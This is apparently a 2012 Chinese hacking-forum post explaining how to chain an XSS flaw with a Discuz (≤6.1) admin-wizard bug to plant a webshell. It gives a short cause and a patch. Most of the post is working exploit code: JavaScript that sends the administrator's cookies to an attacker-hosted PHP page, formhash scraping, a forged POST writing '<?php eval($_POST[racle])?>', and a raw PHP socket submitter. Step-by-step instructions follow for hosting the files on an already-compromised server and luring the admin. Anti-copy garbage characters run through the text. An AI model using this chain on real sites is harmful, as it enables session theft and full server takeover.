找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3944|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell* B7 V2 Z5 }4 }  o$ p. O
By racle @tian6.com$ m1 @6 \& J1 Y; b, E) E6 P
欢迎转帖.但请保留版权信息.% F& C' g4 L2 @; b# n1 i  k2 Z* i
受影响版本iscuz<=6.1.0,gbk+utf+big5' I: N6 O( |! ^. I- Q0 l
. S2 O2 y: ]( A8 c2 c$ N
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.5 n$ Y+ I! {" n! Z% u

7 f- w$ q1 b  c- l7 V0 Q2 M% N! u6 \- D- n0 l
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87062 W" o4 ~4 @$ B0 i
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.5 v# B% ^) n, v  G1 _

' b5 L0 B$ [: N0 m# ?分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
! L: K' h1 V4 r- k+ {, T% k本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
2 ?+ I8 j* S6 P; v
( x6 n+ R1 @! g4 o
  C1 x. c8 r' k----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------+ u0 y) j/ q+ m' T( \
, Z) Q. ^" j! a! f3 B/ [$ _
0 _" |, D# ^0 k9 ~
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
( K) F5 ?# o% Y. L/ F7 Q' b) b
8 `" [- g9 f" Eproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
  j5 S& t/ u- d2 b6 y5 S: m3 Y' s8 C! e* d. n: m- n
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.1 P, V: a, [# U% i+ C+ A
7 b! D0 s) b3 P+ c- a% L$ U
% |/ I% m. A4 c0 }8 `% \. l
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
5 u" \$ A  z3 O; ~$ c' y/ T' D
! G" y) P( ?) N0 t& ^        global $runwizardfile, $runwizardhistory;& @. G& H1 F8 x  ?7 M$ M
9 @, a% m# C5 \
        $fp = fopen($runwizardfile, 'w');
5 F. j5 w+ o& w) E; S  l  _* a" \5 n, ^
        fwrite($fp, serialize($runwizardhistory));
6 n7 G; C) f7 w* Y6 U0 W# l2 v6 O/ N0 z# }+ ], X; z
        fclose($fp);% a4 r3 ^5 ~& e2 O& S# V* ^/ k

' y: M* i' U( J5 @) X/ d5 ?8 G}
: l- Z: f: X: [- {, _5 i. Y) z7 _复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
& f. e1 Y0 M7 t4 U以下是修补的办法:function saverunwizardhistory() {
. x* v* y6 S  l( V% m, l3 I
3 ^" |2 g; m# B% P9 Y5 f6 q        global $runwizardfile, $runwizardhistory;, B8 j8 N7 x! r0 C0 \9 M# v1 o) z
$ n1 t1 m* l+ a* K% g) A
        $fp = fopen($runwizardfile, 'w');+ H! j- J- s% z- S9 G/ }7 Q
# T3 x- l! \, l; S/ v+ T4 J% x8 I
        $s = '<?php exit;?>';4 R  e' J$ A6 v; Q" y

+ ^& t2 L4 ?& ^+ ]$ S2 Q# p        $s .= serialize($runwizardhistory);% c. Q" E, Z+ ?7 @1 `8 d) g

& O' ~! r/ t3 X- ~8 m4 G0 M        fwrite($fp, $s);2 E: y6 Z7 g4 a9 S

8 v& ]: m3 ]) W2 K, t3 E& ?2 _# ?        fclose($fp);
, d, d' ]3 O( i- u' v- E- Z1 t$ d0 S# L" q) Y8 @9 [
}
% N7 J$ B, ]7 j2 u2 s: u复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
! c* w0 Q# Y8 j. b7 E4 i2 q0 _) c7 u. @; E7 `: Y0 T
! \/ P7 a3 b; Z1 G( l8 F- @

( K/ a; W$ Q1 f# n- o8 D$ x----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------3 X. L% J$ @: h* X! t

4 g1 ^! V/ V7 Y: \2 U9 {; @
# L3 y2 }( h% H( M) R/ f. Z  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.% M- T/ _; H+ p5 I* S0 E

' h! t+ C" O! U( ]2 ^/ N我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
( r, g7 N% B; J
1 \4 i7 D- h2 a7 I5 V这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.! ]) _" c7 j/ C: q
9 `/ w$ ]8 d) Q& u" D4 f
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:- r' A/ y- L! j9 ]: f
! |; B8 E0 g+ c3 h+ }( F
var url="http://目标网站/admincp.php";      
  \) j. r+ k2 K2 ^0 k3 J
/ k" v, n% [$ k6 ]% }5 b$ ]0 ^/*获得cookies*/$ q7 g9 T7 O4 d

4 S- ?  ^6 d. `* m5 P2 x9 Lfunction getURL(s) {
7 z9 _; d' M& a+ z* }5 H# I! j1 w* B9 Z
var image = new Image();
1 j* j0 ]' m2 Y' C1 ?& n0 N. H6 X
image.style.width = 0;
9 F( o" {) ]% ~: z3 T' y6 D0 i& j1 f  D( @$ o- \+ Q
image.style.height = 0;
& }, V( q& o7 E1 ~
, ]2 x# E  w7 _9 b& `) Q9 \image.src = s;4 Q' Z; U; s2 H# R; y3 ~6 z

2 ]% h8 ^  B$ ?' K2 ]) J}; h/ m; ?2 ?  K, k# ]
$ M9 ?, i6 c) i
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
& ~! ^" S3 n- N( s复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
' a& z9 k1 _4 S. f; F# X1 X. E复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) ( C/ x- M0 h4 k" Y6 ~$ u& s4 G

( ~8 T8 a! a3 _
- U* s, ^5 _% m7 i2 R' C9 w' k+ n" B获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
: L0 G2 h* o2 K# ?6 z- l: l6 e; m7 n0 i8 t& m

/ Z& {0 ^- Q6 v. K0 v/ \$ m
7 j4 `4 B: n  O' d4 d- ]) h6 `/*hash*/
& g- G0 q2 D0 ~5 E: n8 M) K. J2 A7 A) V7 Z
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");4 \+ m- T9 p) ^* s

, O! @0 R8 o! Z: R+ I7 l  A  `* L5 IxmlHttpReq.open("GET", url+"admincp.php?action=home", false);
* V4 i5 J+ \& E5 y2 F
/ X; V' a5 s; p9 vxmlHttpReq.send();, \% O( @% I7 f* y' L6 P1 p
1 L, V$ `% s( G5 c. t
var resource = xmlHttpReq.responseText;
1 l- s* \) ^; Z6 J$ {8 {% e* Y4 `! u) i4 \  x; I& ~
var numero = resource.search(/formhash/);- q0 D) m/ i2 h. s( x

$ i1 f/ I) n9 Y: ~- Yvar formhash=encodeURIComponent(resource.substr(numero+17,8));! Z9 Q' j2 Q- i# a8 q6 S6 [
; [! I' e& \1 x7 b* a+ S
0 l& J" ~; m5 M$ _5 {8 ~
0 m$ R, i, c3 W3 f2 y. P% _
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 ( J6 q! c  ?  W1 e3 m: K( J4 w  H! @
4 p( v; }5 D& _' P, ^* T6 P: }
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 / n  _6 K- `$ L5 q
+ t6 O7 a  ]: K
xmlHttpReq.setRequestHeader("Referer", url);
+ G& T& a) ?% y1 Q: l2 o0 z
6 [5 H% u" ?- h. o3 ]xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
: y7 L1 Q6 {) X8 T! B  ?
* W( b* ]3 n4 U1 e/ kxmlHttpReq.setrequestheader("content-length",post.length);
( i9 c/ E+ J& D0 ]$ w/ k# i3 k9 Z# u  ]
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
! Q" T( }  v$ i7 ^6 n4 [9 S3 a
. {( C: z3 E: s- f% t! P. e. F, f) zxmlHttpReq.send(post);//发送数据! A4 @( t/ d  Q$ \7 I
复制代码这里HASH我假设正确,这样提交,也无须cookies1 T) E" e9 R" s; K, R, I
' B7 H* u- Z6 S) n/ T
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);9 `- @; `: B! W/ C# k- Z% O8 N
2 I8 S) U1 N  W5 T( h: N3 r
if (!$sock) die("$errstr ($errno)\n");
3 ~/ a2 p* {* g& B$ x' `& E( b2 d0 Z8 m; T5 }
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
# H: V3 R: L* o& g9 S) y  [# U
% z3 I$ _. ~) d  M) Z& a& [1 \# H4 R, M$ ]0 k, y

$ ~. K4 T! l$ Qfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
8 s" V& b' I- H& H# M" v) d4 {9 v" A( [: a2 ^
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
8 U% m+ a  h' F& C1 _9 p. l8 {# ~5 s* r3 a
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
  f% [! r; h9 w* T
8 O5 l. [, a# n9 {fwrite($sock, "Accept-Language: zh-cn\r\n");9 r* ]+ D; X/ H. z- W3 N. m

) H5 H0 l: |( }2 |fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");7 X3 C2 N1 N  p7 X" V# k3 L

! {0 S4 }0 P  L/ V4 [8 P# n. Y) dfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");) i# P) }0 k+ s9 z1 r$ U/ h
: \: T6 |! \( F: |. Z
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
! j5 ^' R' S. p% R
- l# W# l/ p- I1 ^fwrite($sock, "Host: $url\r\n");  T" m# T$ E# T- K

  L) S0 F& e- j: K9 T: b$ k6 cfwrite($sock, "Content-Length: ".strlen($data)."\r\n");- F# ~; }: {+ Q6 p) f" q
! }4 G  N, c2 \7 {  [: X+ q
fwrite($sock, "Connection: Keep-Alive\r\n");
+ g7 Q; w# Z) _1 O9 l
/ I5 v) c& b2 E) |& i! n. j( Vfwrite($sock, "Cache-Control: no-cache\r\n");
+ W6 O. |# p4 {- r* M) I9 U
) \4 ^  g; ?3 t9 g: |2 ]fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
: @2 q; f8 k: t8 n
: A  L+ j5 W3 C) z! J' s2 R( Tfwrite($sock, $data);% b7 r$ {7 Q' H3 ?3 f; o8 Z$ H6 L

; W6 ~0 S  Q4 y: c- _) J2 }! l1 @% a$ _! B7 y+ l/ E

8 V: k& s* O; ~4 Y) j- C7 k$headers = "";! ~+ \, V& v. ^8 W; N6 y
% _+ @. `8 W& [% O
while ($str = trim(fgets($sock, 4096)))
% r- l& W+ x& {$ O  d2 N& x* N5 a5 E' ?
     $headers .= "$str\n";6 ~. E. u+ {8 Z% ?
0 R+ B) @  ]& s0 [0 n+ i8 _
echo "\n";; H3 g; z1 ~. z% N3 t& s
* N( G3 z, w* R  v
$body = "";
4 G0 e, O; m! W, K
8 S, [9 W6 V1 I' u( z- u6 r( q( Hwhile (!feof($sock)), B3 h  P* r$ }4 X# n  V$ b* b
5 }: `( n& [' L5 C6 F
     $body .= fgets($sock, 4096);
8 B6 R1 n5 [, ], B1 v4 |
* `; w; n- d2 R% u* E8 xfclose($sock);
5 Q/ n4 i2 |+ d0 m8 a2 D2 d
9 m6 r# [; f/ uecho $body;
0 S3 d+ L% T) ~' G2 x0 |6 H复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
! ]+ _) q) l* y) ^  V  Z5 M4 i$ W& K9 n4 T
1 q" \! Y) M' p. Y
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
( u/ z2 V( z& I$ F/ r
$ I8 J8 Y* l- [! c9 y9 L) A  p' Y: Z, y# ]$ \  I1 E; U& j
1HP SOCKET利用方法首先打开racle.js
' w; {, w( F+ V; x$ e5 s. R# Q! A0 |# G9 i3 V- k1 U& I8 d
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home7 @% n  v6 M: |$ w2 I1 O3 S

6 u. S8 b0 U7 ^! R9 O; m* k  O! u9 l. |* `' t, y& w* G* o
4 [" l) P$ ?. G  [3 U% H" `, L& h1 R. C
然后打开racle@tian6.php
* `4 N: J$ i0 j+ e
% |) [4 g" Y8 a4 R. v1 {$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
# S: p7 r6 O) i2 H' v. w: t  h& x6 Y6 i2 f  l& a
5 G! X  W9 g; f/ f8 f) ]

( Q3 A* G) l. c  S+ P* V# _- h如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
5 D6 S8 t9 {* o; v
$ D' a" t" \( qgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));9 I2 k$ K. ?& O+ Y

4 z6 n& V" R& N$ Z" ?7 e: k. ~. z为
/ ?: ?) q& D* F3 V7 K; s
' {. _" f1 s; {2 Y: t* T* L+ l6 fgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));( F. V- X. `/ S9 F0 ~
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
$ K8 N& ?* [. q8 g! q$ ]: A, K0 y! D
5 J, ~9 I9 R/ _" U  P5 }+ x, A  d+ m, Q( z3 R" }, P; f5 x
" L# ^" {: T8 {
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
) p& ^# f; E# X; t
; S% F  j# W8 t& rvar formhash=encodeURIComponent(resource.substr(numero+17,8));
) u, z9 H1 f  G7 H6 \& [% i
+ Z$ ?" {6 ?; {/ S" G7 v为
$ Q; J  ^# ?* E; k, A* {4 B
: q' U8 b: ?/ t; n" e% M( k( {var formhash=encodeURIComponent(resource.substr(numero+9,8));
3 Y' V0 b6 y8 }复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.0 x8 R' L+ v1 J$ i  u/ b9 g

) p' E. M6 k3 S! x# }如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.* u+ d2 V1 W) m0 M; b7 l
' O' P) B2 m# s/ W/ b8 t  ~* c
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
6 H- \& T, E/ [: a; k" W% e: [. L5 g$ X3 z
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.% }0 K6 S, d% p; a

" [7 M4 \; y# B; t* h2 v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表